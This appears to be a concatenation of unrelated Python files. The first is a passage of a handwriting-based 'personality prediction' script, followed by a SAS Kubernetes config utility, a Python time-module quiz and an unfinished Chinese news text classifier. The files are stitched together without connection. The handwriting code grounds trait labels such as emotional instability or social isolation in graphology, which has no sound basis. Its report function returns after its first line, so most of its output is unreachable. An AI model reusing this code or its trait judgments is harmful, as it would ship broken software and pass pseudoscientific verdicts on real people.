    average_line_spacing = float(total_space_row_count) / lines_having_midzone_count
    average_letter_size = float(midzone_row_count) / lines_having_midzone_count
    # letter size is actually height of the letter and we are not considering width
    LETTER_SIZE = average_letter_size
    # error prevention ^-^
    if(average_letter_size == 0): average_letter_size = 1
    # We can't just take the average_line_spacing as a feature directly. We must take the average_line_spacing relative to average_letter_size.
    # Let's take the ratio of average_line_spacing to average_letter_size as the LINE SPACING, which is perspective to average_letter_size.
    relative_line_spacing = average_line_spacing / average_letter_size
    LINE_SPACING = relative_line_spacing

    # Top marging is also taken relative to average letter size of the handwritting
    relative_top_margin = float(topMarginCount) / average_letter_size
    TOP_MARGIN = relative_top_margin

    # showing the final extracted lines
    ##for i, line in enumerate(fineLines):
        ##cv2.imshow("line "+str(i), img[line[0]:line[1], : ])

    ##print space_zero
    ##print lines
    ##print fineLines
    ##print midzone_row_count
    ##print total_space_row_count
    ##print len(hpList)
    ##print average_line_spacing
    ##print lines_having_midzone_count
    ##print i
    #print("Average letter size: "+str(average_letter_size))
    #print("Top margin relative to average letter size: "+str(relative_top_margin))
    #print("Average line spacing relative to average letter size: "+str(relative_line_spacing))

    return fineLines

''' function to extract words from the lines using vertical projection '''
def extractWords(image, lines):

    global LETTER_SIZE
    global WORD_SPACING

    # apply bilateral filter
    filtered = bilateralFilter(image, 5)

    # convert to grayscale and binarize the image by INVERTED binary thresholding
    thresh = threshold(filtered, 180)
    #cv2.imshow('thresh', wthresh)

    # Width of the whole document is found once.
    width = thresh.shape[1]
    space_zero = [] # stores the amount of space between words
    words = [] # a 2D list storing the coordinates of each word: y1, y2, x1, x2

    # Isolated words or components will be extacted from each line by looking at occurance of 0's in its vertical projection.
    for i, line in enumerate(lines):
        extract = thresh[int(line[0]):int(line[1]), 0:width] # y1:y2, x1:x2
        vp = verticalProjection(extract)
        ##print i
        ##print vp

        wordStart = 0
        wordEnd = 0
        spaceStart = 0
        spaceEnd = 0
        indexCount = 0
        setWordStart = True
        setSpaceStart = True
        includeNextSpace = True
        spaces = []

        # we are scanning the vertical projection
        for j, sum in enumerate(vp):
            # sum being 0 means blank space
            if(sum==0):
                if(setSpaceStart):
                    spaceStart = indexCount
                    setSpaceStart = False # spaceStart will be set once for each start of a space between lines
                indexCount += 1
                spaceEnd = indexCount
                if(j<len(vp)-1): # this condition is necessary to avoid array index out of bound error
                    if(vp[j+1]==0): # if the next vertical projectin is 0, keep on counting, it's still in blank space
                        continue

                # we ignore spaces which is smaller than half the average letter size
                if((spaceEnd-spaceStart) > int(LETTER_SIZE/2)):
                    spaces.append(spaceEnd-spaceStart)

                setSpaceStart = True # next time we encounter 0, it's begining of another space so we set new spaceStart

            # sum greater than 0 means word/component
            if(sum>0):
                if(setWordStart):
                    wordStart = indexCount
                    setWordStart = False # wordStart will be set once for each start of a new word/component
                indexCount += 1
                wordEnd = indexCount
                if(j<len(vp)-1): # this condition is necessary to avoid array index out of bound error
                    if(vp[j+1]>0): # if the next horizontal projectin is > 0, keep on counting, it's still in non-space zone
                        continue

                # append the coordinates of each word/component: y1, y2, x1, x2 in 'words'
                # we ignore the ones which has height smaller than half the average letter size
                # this will remove full stops and commas as an individual component
                count = 0
                for k in range(int(line[1])-int(line[0])):
                    row = thresh[int(line[0]+k):int(line[0]+k+1), wordStart:wordEnd] # y1:y2, x1:x2
                    if(np.sum(row)):
                        count += 1
                if(count > int(LETTER_SIZE/2)):
                    words.append([line[0], line[1], wordStart, wordEnd])

                setWordStart = True # next time we encounter value > 0, it's begining of another word/component so we set new wordStart

        space_zero.extend(spaces[1:-1])

    ##print space_zero
    space_columns = np.sum(space_zero)
    space_count = len(space_zero)
    if(space_count == 0):
        space_count = 1
    average_word_spacing = float(space_columns) / space_count
    relative_word_spacing = average_word_spacing / LETTER_SIZE
    WORD_SPACING = relative_word_spacing
    ##print "Average word spacing: "+str(average_word_spacing)
    #print("Average word spacing relative to average letter size: "+str(relative_word_spacing))

    return words

''' function to determine the average slant of the handwriting '''
def extractSlant(img, words):

    global SLANT_ANGLE
    '''
    0.01 radian = 0.5729578 degree :: I had to put this instead of 0.0 becuase there was a bug yeilding inacurate value which I could not figure out!
    5 degree = 0.0872665 radian :: Hardly noticeable or a very little slant
    15 degree = 0.261799 radian :: Easily noticeable or average slant
    30 degree = 0.523599 radian :: Above average slant
    45 degree = 0.785398 radian :: Extreme slant
    '''
    # We are checking for 9 different values of angle
    theta = [-0.785398, -0.523599, -0.261799, -0.0872665, 0.01, 0.0872665, 0.261799, 0.523599, 0.785398]
    #theta = [-0.785398, -0.523599, -0.436332, -0.349066, -0.261799, -0.174533, -0.0872665, 0, 0.0872665, 0.174533, 0.261799, 0.349066, 0.436332, 0.523599, 0.785398]

    # Corresponding index of the biggest value will be the index of the most likely angle in 'theta'
    s_function = [0.0] * 9
    count_ = [0]*9

    # apply bilateral filter
    filtered = bilateralFilter(img, 5)

    # convert to grayscale and binarize the image by INVERTED binary thresholding
    # it's better to clear unwanted dark areas at the document left edge and use a high threshold value to preserve more text pixels
    thresh = threshold(filtered, 180)
    #cv2.imshow('thresh', lthresh)

    # loop for each value of angle in theta
    for i, angle in enumerate(theta):
        s_temp = 0.0 # overall sum of the functions of all the columns of all the words!
        count = 0 # just counting the number of columns considered to contain a vertical stroke and thus contributing to s_temp

        #loop for each word
        for j, word in enumerate(words):
            original = thresh[int(word[0]):int(word[1]), int(word[2]):int(word[3])] # y1:y2, x1:x2

            height = int(word[1])-int(word[0])
            width = int(word[3])-int(word[2])

            # the distance in pixel we will shift for affine transformation
            # it's divided by 2 because the uppermost point and the lowermost points are being equally shifted in opposite directions
            shift = (math.tan(angle) * height) / 2

            # the amount of extra space we need to add to the original image to preserve information
            # yes, this is adding more number of columns but the effect of this will be negligible
            pad_length = abs(int(shift))

            # create a new image that can perfectly hold the transformed and thus widened image
            blank_image = np.zeros((height,width+pad_length*2,3), np.uint8)
            new_image = cv2.cvtColor(blank_image, cv2.COLOR_BGR2GRAY)
            new_image[:, pad_length:width+pad_length] = original
            # points to consider for affine transformation
            (height, width) = new_image.shape[:2]
            x1 = width/2
            y1 = 0
            x2 = width/4
            y2 = height
            x3 = 3*width/4
            y3 = height

            pts1 = np.float32([[x1,y1],[x2,y2],[x3,y3]])
            pts2 = np.float32([[x1+shift,y1],[x2-shift,y2],[x3-shift,y3]])
            M = cv2.getAffineTransform(pts1,pts2)
            deslanted = cv2.warpAffine(new_image,M,(width,height))

            # find the vertical projection on the transformed image
            vp = verticalProjection(deslanted)

            # loop for each value of vertical projection, which is for each column in the word image
            for k, sum in enumerate(vp):
                # the columns is empty
                if(sum == 0):
                    continue

                # this is the number of foreground pixels in the column being considered
                num_fgpixel = sum / 255

                # if number of foreground pixels is less than onethird of total pixels, it is not a vertical stroke so we can ignore
                if(num_fgpixel < int(height/3)):
                    continue

                # the column itself is extracted, and flattened for easy operation
                column = deslanted[0:height, k:k+1]
                column = column.flatten()

                # now we are going to find the distance between topmost pixel and bottom-most pixel
                # l counts the number of empty pixels from top until and upto a foreground pixel is discovered
                for l, pixel in enumerate(column):
                    if(pixel==0):
                        continue
                    break
                # m counts the number of empty pixels from bottom until and upto a foreground pixel is discovered
                for m, pixel in enumerate(column[::-1]):
                    if(pixel==0):
                        continue
                    break

                # the distance is found as delta_y, I just followed the naming convention in the research paper I followed
                delta_y = height - (l+m)

                # please refer the research paper for more details of this function, anyway it's nothing tricky
                h_sq = (float(num_fgpixel)/delta_y)**2

                # I am multiplying by a factor of num_fgpixel/height to the above function to yeild better result
                # this will also somewhat negate the effect of adding more columns and different column counts in the transformed image of the same word
                h_wted = (h_sq * num_fgpixel) / height

                '''
                # just #printing
                if(j==0):
                    #print column
                    #print str(i)+' h_sq='+str(h_sq)+' h_wted='+str(h_wted)+' num_fgpixel='+str(num_fgpixel)+' delta_y='+str(delta_y)
                '''

                # add up the values from all the loops of ALL the columns of ALL the words in the image
                s_temp += h_wted

                count += 1

            if(j==0):
                #plt.subplot(),plt.imshow(deslanted),plt.title('Output '+str(i))
                #plt.show()
                cv2.imshow('Output '+str(i)+str(j), deslanted)
                ##print vp
                ##print 'line '+str(i)+' '+str(s_temp)
                ##print

        s_function[i] = s_temp
        count_[i] = count

    # finding the largest value and corresponding index
    max_value = 0.0
    max_index = 4
    for index, value in enumerate(s_function):
        #print(str(index)+" "+str(value)+" "+str(count_[index]))
        if(value > max_value):
            max_value = value
            max_index = index

    # We will add another value 9 manually to indicate irregular slant behaviour.
    # This will be seen as value 4 (no slant) but 2 corresponding angles of opposite sign will have very close values.
    if(max_index == 0):
        angle = 45
        result =  " : Extremely right slanted"
    elif(max_index == 1):
        angle = 30
        result = " : Above average right slanted"
    elif(max_index == 2):
        angle = 15
        result = " : Average right slanted"
    elif(max_index == 3):
        angle = 5
        result = " : A little right slanted"
    elif(max_index == 5):
        angle = -5
        result = " : A little left slanted"
    elif(max_index == 6):
        angle = -15
        result = " : Average left slanted"
    elif(max_index == 7):
        angle = -30
        result = " : Above average left slanted"
    elif(max_index == 8):
        angle = -45
        result = " : Extremely left slanted"
    elif(max_index == 4):
        p = s_function[4] / s_function[3]
        q = s_function[4] / s_function[5]
        #print('p='+str(p)+' q='+str(q))
        # the constants here are abritrary but I think suits the best
        if((p <= 1.2 and q <= 1.2) or (p > 1.4 and q > 1.4)):
            angle = 0
            result = " : No slant"
        elif((p <= 1.2 and q-p > 0.4) or (q <= 1.2 and p-q > 0.4)):
            angle = 0
            result = " : No slant"
        else:
            max_index = 9
            angle = 180
            result =  " : Irregular slant behaviour"

        if angle == 0:
            print("Slant determined to be straight.")
        else:
            print("Slant determined to be erratic.")
        '''
        type = raw_input("Enter if okay, else enter 'c' to change: ")
        if type=='c':
            if angle == 0:
                angle = 180
                result =  " : Irregular slant behaviour"
            else:
                angle = 0
                result = " : No slant"
        '''

    SLANT_ANGLE = angle
    #print("Slant angle(degree): "+str(SLANT_ANGLE)+result)
    return

''' function to extract average pen pressure of the handwriting '''
def barometer(image):

    global PEN_PRESSURE
    image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
    h, w = image.shape[:]
    inverted = image
    for x in range(h):
        for y in range(w):
            inverted[x][y] = 255 - image[x][y]
    filtered = bilateralFilter(inverted, 3)
    ret, thresh = cv2.threshold(filtered, 100, 255, cv2.THRESH_TOZERO)
    cv2.imshow('thresh', thresh)
    total_intensity = 0
    pixel_count = 0
    for x in range(h):
        for y in range(w):
            if(thresh[x][y] > 0):
                total_intensity += thresh[x][y]
                pixel_count += 1
    average_intensity = float(total_intensity) / pixel_count
    PEN_PRESSURE = average_intensity
    #print("Average pen pressure: "+str(average_intensity))
    return

''' main '''
def main(i):
    image = cv2.imread("C:\\Users\\Lenovo\\Desktop\\capstone\\images\\res\\"+arr[i])
    ##cv2.imshow('image',image)

    # Extract pen pressure. It's such a cool function name!
    #barometer(image)

    # apply contour operation to straighten the contours which may be a single line or composed of multiple lines
    # the returned image is straightened version of the original image without filtration and binarization
    straightened = straighten(image)
    ##cv2.imshow('straightened',straightened)# read image from disk

    # apply contour operation to straighten the contours which may be a single line or composed of multiple lines
    # the returned image is straightened version of the original image without filtration and binarization

    # extract lines of handwritten text from the image using the horizontal projection
    # it returns a 2D list of the vertical starting and ending index/pixel row location of each line in the handwriting
    #lineIndices = extractLines(straightened)
    ##print lineIndices
    ##print

    # extract words from each line using vertical projection
    # it returns a 4D list of the vertical starting and ending indices and horizontal starting and ending indices (in that order) of each word in the handwriting
    #wordCoordinates = extractWords(straightened, lineIndices)

    ##print wordCoordinates
    ##print len(wordCoordinates)
    #for i, item in enumerate(wordCoordinates):
    #    cv2.imshow('item '+str(i), straightened[item[0]:item[1], item[2]:item[3]])

    # extract average slant angle of all the words containing a long vertical stroke
    #extractSlant(straightened, wordCoordinates)

    cv2.waitKey(0)
    return

#data_feature = pd.DataFrame(columns = ['BASELINE_ANGLE', 'TOP_MARGIN', 'LETTER_SIZE', 'LINE_SPACING', 'WORD_SPACING', 'PEN_PRESSURE', 'SLANT_ANGLE',"FILE_NAME"],ignore_index = True)
def start(i):

    global BASELINE_ANGLE
    global TOP_MARGIN
    global LETTER_SIZE
    global LINE_SPACING
    global WORD_SPACING
    global PEN_PRESSURE
    global SLANT_ANGLE
    #global data_feature
    # read image from disk
    image = cv2.imread("C:\\Users\\Lenovo\\Desktop\\capstone\\images\\res\\"+arr[i])
    barometer(image)
    straightened = straighten(image)
    lineIndices = extractLines(straightened)
    wordCoordinates = extractWords(straightened, lineIndices)
    extractSlant(straightened, wordCoordinates)
    BASELINE_ANGLE = round(BASELINE_ANGLE, 2)
    TOP_MARGIN = round(TOP_MARGIN, 2)
    LETTER_SIZE = round(LETTER_SIZE, 2)
    LINE_SPACING = round(LINE_SPACING, 2)
    WORD_SPACING = round(WORD_SPACING, 2)
    PEN_PRESSURE = round(PEN_PRESSURE, 2)
    SLANT_ANGLE = round(SLANT_ANGLE, 2)

    return [BASELINE_ANGLE, TOP_MARGIN, LETTER_SIZE, LINE_SPACING, WORD_SPACING, PEN_PRESSURE, SLANT_ANGLE,arr[i]]
#data_feature.append({'BASELINE_ANGLE':BASELINE_ANGLE, 'TOP_MARGIN':TOP_MARGIN, 'LETTER_SIZE':LETTER_SIZE, 'LINE_SPACING':LINE_SPACING, 'WORD_SPACING':WORD_SPACING, 'PEN_PRESSURE':PEN_PRESSURE, 'SLANT_ANGLE':SLANT_ANGLE,"FILE_NAME":arr[i]},ignore_index = True)
    #data_feature.append({'BASELINE_ANGLE':BASELINE_ANGLE, 'TOP_MARGIN':TOP_MARGIN, 'LETTER_SIZE':LETTER_SIZE, 'LINE_SPACING':LINE_SPACING, 'WORD_SPACING':WORD_SPACING, 'PEN_PRESSURE':PEN_PRESSURE, 'SLANT_ANGLE':SLANT_ANGLE,"FILE_NAME":arr[i]},ignore_index = True)
    #return data_feature

#categorize py
def determine_baseline_angle(raw_baseline_angle):
    comment = ""
    # falling
    if(raw_baseline_angle >= 0.2):
        baseline_angle = 0
        comment = "DESCENDING"
    # rising
    elif(raw_baseline_angle <= -0.3):
        baseline_angle = 1
        comment = "ASCENDING"
    # straight
    else:
        baseline_angle = 2
        comment = "STRAIGHT"

    return baseline_angle, comment

def determine_top_margin(raw_top_margin):
    comment = ""
    # medium and bigger
    if(raw_top_margin >= 1.7):
        top_margin = 0
        comment = "MEDIUM OR BIGGER"
    # narrow
    else:
        top_margin = 1
        comment = "NARROW"

    return top_margin, comment

def determine_letter_size(raw_letter_size):
    comment = ""
    # big
    if(raw_letter_size >= 18.0):
        letter_size = 0
        comment = "BIG"
    # small
    elif(raw_letter_size < 13.0):
        letter_size = 1
        comment = "SMALL"
    # medium
    else:
        letter_size = 2
        comment = "MEDIUM"

    return letter_size, comment

def determine_line_spacing(raw_line_spacing):
    comment = ""
    # big
    if(raw_line_spacing >= 3.5):
        line_spacing = 0
        comment = "BIG"
    # small
    elif(raw_line_spacing < 2.0):
        line_spacing = 1
        comment = "SMALL"
    # medium
    else:
        line_spacing = 2
        comment = "MEDIUM"

    return line_spacing, comment

def determine_word_spacing(raw_word_spacing):
    comment = ""
    # big
    if(raw_word_spacing > 2.0):
        word_spacing = 0
        comment = "BIG"
    # small
    elif(raw_word_spacing < 1.2):
        word_spacing = 1
        comment = "SMALL"
    # medium
    else:
        word_spacing = 2
        comment = "MEDIUM"

    return word_spacing, comment

def determine_pen_pressure(raw_pen_pressure):
    comment = ""
    # heavy
    if(raw_pen_pressure > 180.0):
        pen_pressure = 0
        comment = "HEAVY"
    # light
    elif(raw_pen_pressure < 151.0):
        pen_pressure = 1
        comment = "LIGHT"
    # medium
    else:
        pen_pressure = 2
        comment = "MEDIUM"

    return pen_pressure, comment

def determine_slant_angle(raw_slant_angle):
    comment = ""
    # extremely reclined
    if(raw_slant_angle == -45.0 or raw_slant_angle == -30.0):
        slant_angle = 0
        comment = "EXTREMELY RECLINED"
    # a little reclined or moderately reclined
    elif(raw_slant_angle == -15.0 or raw_slant_angle == -5.0 ):
        slant_angle = 1
        comment = "A LITTLE OR MODERATELY RECLINED"
    # a little inclined
    elif(raw_slant_angle == 5.0 or raw_slant_angle == 15.0 ):
        slant_angle = 2
        comment = "A LITTLE INCLINED"
    # moderately inclined
    elif(raw_slant_angle == 30.0 ):
        slant_angle = 3
        comment = "MODERATELY INCLINED"
    # extremely inclined
    elif(raw_slant_angle == 45.0 ):
        slant_angle = 4
        comment = "EXTREMELY INCLINED"
    # straight
    elif(raw_slant_angle == 0.0 ):
        slant_angle = 5
        comment = "STRAIGHT"
    # irregular
    #elif(raw_slant_angle == 180 ):
    else:
        slant_angle = 6
        comment = "IRREGULAR"

    return slant_angle, comment

# feature_routine.py
def determine_trait_1(baseline_angle, slant_angle):
    # trait_1 = emotional stability | 1 = stable, 0 = not stable
    if (slant_angle == 0 or slant_angle == 4 or slant_angle == 6 or baseline_angle == 0):
        return 0
    else:
        return 1

def determine_trait_2(letter_size, pen_pressure):
    # trait_2 = mental energy or will power | 1 = high or average, 0 = low
    if ((pen_pressure == 0 or pen_pressure == 2) or (letter_size == 1 or letter_size == 2)):
        return 1
    else:
        return 0

def determine_trait_3(top_margin, letter_size):
    # trait_3 = modesty | 1 = observed, 0 = not observed (not necessarily the opposite)
    if (top_margin == 0 or  letter_size == 1):
        return 1
    else:
        return 0

def determine_trait_4(line_spacing, word_spacing):
    # trait_4 = personal harmony and flexibility | 1 = harmonious, 0 = non harmonious
    if (line_spacing == 2 and word_spacing == 2):
        return 1
    else:
        return 0

def determine_trait_5(top_margin, slant_angle):
    # trait_5 = lack of discipline | 1 = observed, 0 = not observed (not necessarily the opposite)
    if (top_margin == 1 and slant_angle == 6):
        return 1
    else:
        return 0

def determine_trait_6(letter_size, line_spacing):
    # trait_6 = poor concentration power | 1 = observed, 0 = not observed (not necessarily the opposite)
    if (letter_size == 0 and line_spacing == 1):
        return 1
    else:
        return 0

def determine_trait_7(letter_size, word_spacing):
    # trait_7 = non communicativeness | 1 = observed, 0 = not observed (not necessarily the opposite)
    if (letter_size == 1 and word_spacing == 0):
        return 1
    else:
        return 0

def determine_trait_8(line_spacing, word_spacing):
    # trait_8 = social isolation | 1 = observed, 0 = not observed (not necessarily the opposite)
    if (word_spacing == 0 or line_spacing == 0):
        return 1
    else:
        return 0

if os.path.isfile("label_list.txt"):
    #print("Info: label_list found.")
    # =================================================================
    with open("label_list.txt", "r") as labels:
        for line in labels:
            content = line.split()

            baseline_angle = float(content[0])
            X_baseline_angle.append(baseline_angle)

            top_margin = float(content[1])
            X_top_margin.append(top_margin)

            letter_size = float(content[2])
            X_letter_size.append(letter_size)

            line_spacing = float(content[3])
            X_line_spacing.append(line_spacing)

            word_spacing = float(content[4])
            X_word_spacing.append(word_spacing)

            pen_pressure = float(content[5])
            X_pen_pressure.append(pen_pressure)

            slant_angle = float(content[6])
            X_slant_angle.append(slant_angle)

            trait_1 = float(content[7])
            y_t1.append(trait_1)

            trait_2 = float(content[8])
            y_t2.append(trait_2)

            trait_3 = float(content[9])
            y_t3.append(trait_3)

            trait_4 = float(content[10])
            y_t4.append(trait_4)

            trait_5 = float(content[11])
            y_t5.append(trait_5)

            trait_6 = float(content[12])
            y_t6.append(trait_6)

            trait_7 = float(content[13])
            y_t7.append(trait_7)

            trait_8 = float(content[14])
            y_t8.append(trait_8)

            page_id = content[15]
            page_ids.append(page_id)
    # ===============================================================

    # emotional stability
    X_t1 = []
    for a, b in zip(X_baseline_angle, X_slant_angle):
        X_t1.append([a, b])

    # mental energy or will power
    X_t2 = []
    for a, b in zip(X_letter_size, X_pen_pressure):
        X_t2.append([a, b])

    # modesty
    X_t3 = []
    for a, b in zip(X_letter_size, X_top_margin):
        X_t3.append([a, b])

    # personal harmony and flexibility
    X_t4 = []
    for a, b in zip(X_line_spacing, X_word_spacing):
        X_t4.append([a, b])

    # lack of discipline
    X_t5 = []
    for a, b in zip(X_slant_angle, X_top_margin):
        X_t5.append([a, b])

    # poor concentration
    X_t6 = []
    for a, b in zip(X_letter_size, X_line_spacing):
        X_t6.append([a, b])

    # non communicativeness
    X_t7 = []
    for a, b in zip(X_letter_size, X_word_spacing):
        X_t7.append([a, b])

    # social isolation
    X_t8 = []
    for a, b in zip(X_line_spacing, X_word_spacing):
        X_t8.append([a, b])

    # #print X_t1
    # #print type(X_t1)
    # #print len(X_t1)

    X_train, X_test, y_train, y_test = train_test_split(X_t1, y_t1, test_size=.30, random_state=8)
    clf1 = SVC(kernel='rbf')
    clf1.fit(X_train, y_train)
    ##print("Classifier 1 accuracy: ", accuracy_score(clf1.predict(X_test), y_test))

    X_train, X_test, y_train, y_test = train_test_split(X_t2, y_t2, test_size=.30, random_state=16)
    clf2 = SVC(kernel='rbf')
    clf2.fit(X_train, y_train)
    ##print("Classifier 2 accuracy: ", accuracy_score(clf2.predict(X_test), y_test))

    X_train, X_test, y_train, y_test = train_test_split(X_t3, y_t3, test_size=.30, random_state=32)
    clf3 = SVC(kernel='rbf')
    clf3.fit(X_train, y_train)
    ##print("Classifier 3 accuracy: ", accuracy_score(clf3.predict(X_test), y_test))

    X_train, X_test, y_train, y_test = train_test_split(X_t4, y_t4, test_size=.30, random_state=64)
    clf4 = SVC(kernel='rbf')
    clf4.fit(X_train, y_train)
    ##print("Classifier 4 accuracy: ", accuracy_score(clf4.predict(X_test), y_test))

    X_train, X_test, y_train, y_test = train_test_split(X_t5, y_t5, test_size=.30, random_state=42)
    clf5 = SVC(kernel='rbf')
    clf5.fit(X_train, y_train)
    ##print("Classifier 5 accuracy: ", accuracy_score(clf5.predict(X_test), y_test))

    X_train, X_test, y_train, y_test = train_test_split(X_t6, y_t6, test_size=.30, random_state=52)
    clf6 = SVC(kernel='rbf')
    clf6.fit(X_train, y_train)
    ##print("Classifier 6 accuracy: ", accuracy_score(clf6.predict(X_test), y_test))

    X_train, X_test, y_train, y_test = train_test_split(X_t7, y_t7, test_size=.30, random_state=21)
    clf7 = SVC(kernel='rbf')
    clf7.fit(X_train, y_train)
    ##print("Classifier 7 accuracy: ", accuracy_score(clf7.predict(X_test), y_test))

    X_train, X_test, y_train, y_test = train_test_split(X_t8, y_t8, test_size=.30, random_state=73)
    clf8 = SVC(kernel='rbf')
    clf8.fit(X_train, y_train)
    ##print("Classifier 8 accuracy: ", accuracy_score(clf8.predict(X_test), y_test))

    # ================================================================================================

def report():
    raw_features = start(0)
    raw_baseline_angle = raw_features[0]
    baseline_angle, comment = determine_baseline_angle(raw_baseline_angle)
    return ("Baseline Angle: " + comment)

    raw_top_margin = raw_features[1]
    top_margin, comment = determine_top_margin(raw_top_margin)
    return ("Top Margin: " + comment)

    raw_letter_size = raw_features[2]
    letter_size, comment = determine_letter_size(raw_letter_size)
    return("Letter Size: " + comment)

    raw_line_spacing = raw_features[3]
    line_spacing, comment = determine_line_spacing(raw_line_spacing)
    return("Line Spacing: " + comment)

    raw_word_spacing = raw_features[4]
    word_spacing, comment = determine_word_spacing(raw_word_spacing)
    return("Word Spacing: " + comment)

    raw_pen_pressure = raw_features[5]
    pen_pressure, comment = determine_pen_pressure(raw_pen_pressure)
    return("Pen Pressure: " + comment)

    raw_slant_angle = raw_features[6]
    slant_angle, comment = determine_slant_angle(raw_slant_angle)
    return("Slant: " + comment)

    return("-------------------------------------------------------------------------------------------------")
    return("----------------------------TEAM MARS PERSONALITY PREDICTION SYSTEN------------------------------")
    return("\n")
    if int(clf1.predict([[baseline_angle, slant_angle]]))==1:
        return("Emotional Stability: You are a stable person")
    else:
        return("Emotional Stability: You are not a stable person")

    if int(clf2.predict([[letter_size, pen_pressure]]))==1:
        return("Mental Energy or Will Power:: You are mentally a strong person and have a great will power")
    else:
        return("Mental Energy or Will Power:: Your mental energy is low")

    if int(clf3.predict([[letter_size, top_margin]]))==1:
        return("Modesty:  You are a modest person")
    else:
        return("Modesty: You are not a modest person")

    if int(clf4.predict([[line_spacing, word_spacing]]))==1:
        return("Personal Harmony and Flexibility: You love personal harmony also you are a flexible person")
    else:
        return("Personal Harmony and Flexibility: You are not at personal harmony. You have a Stuborn personality")

    if int(clf5.predict([[slant_angle, top_margin]]))==1:
        return("Lack of Discipline:   You are having lack of discipline")
    else:
        return("Lack of Discipline:   You are a discipline person")

    if int(clf6.predict([[letter_size, line_spacing]]))==1:
        return("Poor Concentration:  You are having Poor Concentration")
    else:
        return("Poor Concentration: You have Good Concentration ")

    if int(clf7.predict([[letter_size, word_spacing]]))==1:
        return("Non Communicativeness: Need To improve Your communication")
    else:
        return("Non Communicativeness: You have Good communication ")

    if int(clf8.predict([[line_spacing, word_spacing]]))==1:
        return("Social Isolation:  You like Social Isolation")
    else:
        return("Social Isolation: You dont like Social Isolation ")
    return("\n")
    return("-------------------------------------------------------------------------------------------------")

# In[3]:

#get_ipython().system('jupyter nbconvert   --to script  PPS.ipynb')

# In[ ]:


####################################################################
# ### config_util.py                                             ###
####################################################################
# ### Author: SAS Institute Inc.                                 ###
####################################################################
#                                                                ###
# Copyright (c) 2021, SAS Institute Inc., Cary, NC, USA.         ###
# All Rights Reserved.                                           ###
# SPDX-License-Identifier: Apache-2.0                            ###
#                                                                ###
####################################################################
from typing import Dict, Optional, Text

from viya_ark_library.k8s.sas_k8s_objects import KubernetesResource

def get_cadence_version(config_map: KubernetesResource) -> Optional[Text]:
    """
    Returns the cadence version of the targeted SAS deployment.

    :param config_map: The ConfigMap resource to evaluate.
    :return: A string representing the cadence version of the targeted SAS deployment.
    """
    # initialize the return value
    cadence_info: Optional[Text] = None

    try:
        # look for ConfigMap with expected name
        if 'sas-deployment-metadata' in config_map.get_name():
            # get the ConfigMap data
            cadence_data: Optional[Dict] = config_map.get_data()

            # build the cadence string
            cadence_info = (
                f"{cadence_data['SAS_CADENCE_DISPLAY_NAME']} "
                f"{cadence_data['SAS_CADENCE_VERSION']} "
                f"({cadence_data['SAS_CADENCE_RELEASE']})"
            )

        return cadence_info
    except KeyError:
        # if an expected key wasn't defined, return None
        return None

def get_db_info(config_map: KubernetesResource) -> Optional[Dict]:
    """
    Returns the db information of the targeted SAS deployment.

    :param config_map: The ConfigMap resource to evaluate.
    :return: A dict representing the db information of the targeted SAS deployment.
    """
    # initialize the return value
    db_dict: Optional[Dict] = dict()

    try:
        # make sure the ConfigMap has the expected name
        if 'sas-postgres-config' in config_map.get_name():
            # get the ConfigMap data
            db_data: Optional[Dict] = config_map.get_data()

            # check whether the db configuration is external
            if db_data['EXTERNAL_DATABASE'] == "false":
                # return internal config information (all other details will be defined in the component in report)
                return {"Type": "Internal"}

            # if external, create the dict of all relevant info
            db_dict = {
                "Type": "External",
                "Host": db_data['DATABASE_HOST'],
                "Port": db_data['DATABASE_PORT'],
                "Name": db_data['DATABASE_NAME'],
                "User": db_data['SPRING_DATASOURCE_USERNAME']
            }

        return db_dict
    except KeyError:
        # if an expected key wasn't defined, return None
        return None


import random
import time

questions_answers = []
questions_answers.append(['The epoch is the point where the time starts, \
and is platform dependent.', 'F'])
questions_answers.append(['For Unix, the epoch is January 1, 1970, 00:00:00 (UTC).'
                   , 'T'])
questions_answers.append(['The term seconds since the epoch refers to the \
total number of elapsed seconds since the epoch', 'T'])
questions_answers.append(['Function strptime() can parse \
4-digit years when given %y format code.', 'F'])
questions_answers.append(['UTC is Coordinated Universal Time', 'T'])
questions_answers.append(['DST is Daylight Saving Time, an adjustment \
of the timezone by (usually) two hours during part of the year.', 'F'])
questions_answers.append(['The time values as returned by gmtime(), \
localtime(), and strptime(), and accepted by asctime(), mktime() and \
strftime(), is a sequence of 9 integers.', 'T'])

random.shuffle(questions_answers)

user_score = 0

start_time = time.perf_counter()

for item in questions_answers:
    print('True or false: ' + item[0])
    answer = input('Please enter T if it is true and F if it is false: ')
    if answer == item[1]:
        print('Excellent!')
        user_score += 1
    else:
        print('Not correct:( Maybe you will be lucky next time!')

end_time = time.perf_counter()

print('Congratulations! Your total score is: ' + str(user_score) + ', total time is '
      + str(end_time - start_time) + ' seconds.')


# use naive bayes to build a chinese text classifier

""" prepare data """
import jieba
import pandas as pd
import random
import numpy as np

from sklearn.model_selection import train_test_split
from sklearn.feature_extraction.text import CountVectorizer
from sklearn.naive_bayes import MultinomialNB
from sklearn.model_selection import StratifiedKFold
from sklearn.metrics import precision_score
from sklearn.svm import SVC

data_file_technology = pd.read_csv("D:technology_news.csv", encoding='utf-8')
data_file_technology = data_file_technology.dropna()

data_file_car = pd.read_csv("D:car_news.csv", encoding='utf-8')
data_file_car = data_file_car.dropna()

data_file_entertainment = pd.read_csv("D:entertainment_news.csv", encoding='utf-8')
data_file_entertainment = data_file_entertainment.dropna()

data_file_military = pd.read_csv("D:military_news.csv", encoding='utf-8')
data_file_military = data_file_military.dropna()

data_file_sports = pd.read_csv("D:sports_news.csv", encoding='utf-8')
data_file_sports = data_file_sports.dropna()

technology = data_file_technology.content.values.tolist()[1000:21000]
car = data_file_car.content.values.tolist()[1000:21000]
entertainment = data_file_entertainment.content.values.tolist()[:20000]
military = data_file_military.content.values.tolist()[:20000]
sports = data_file_sports.content.values.tolist()[:20000]

""" split data and chinese text process """
# load the stopwords
stopwords = pd.read_csv("D:stopwords.txt", index_col=False, quoting=3,
                        sep="\t", names=['stopword'], encoding='utf-8')
stopwords = stopwords['stopword'].values

def preprocess_text(content_lines, sentences, category):
    for line in content_lines:
        try:
            segments = jieba.lcut(line)
            segments = filter(lambda x: len(x) > 1, segments)
            segments = filter(lambda x: x not in stopwords, segments)
            sentences.append((" ".join(segments), category))

        except (OSError, TypeError) as reason:
            print("the error info is:", str(reason))
            print(line)
            continue

""" generate data set """
sentences = []

preprocess_text(technology, sentences, 'technology')
preprocess_text(car, sentences, 'car')
preprocess_text(entertainment, sentences, 'entertainment')
preprocess_text(military, sentences, 'military')
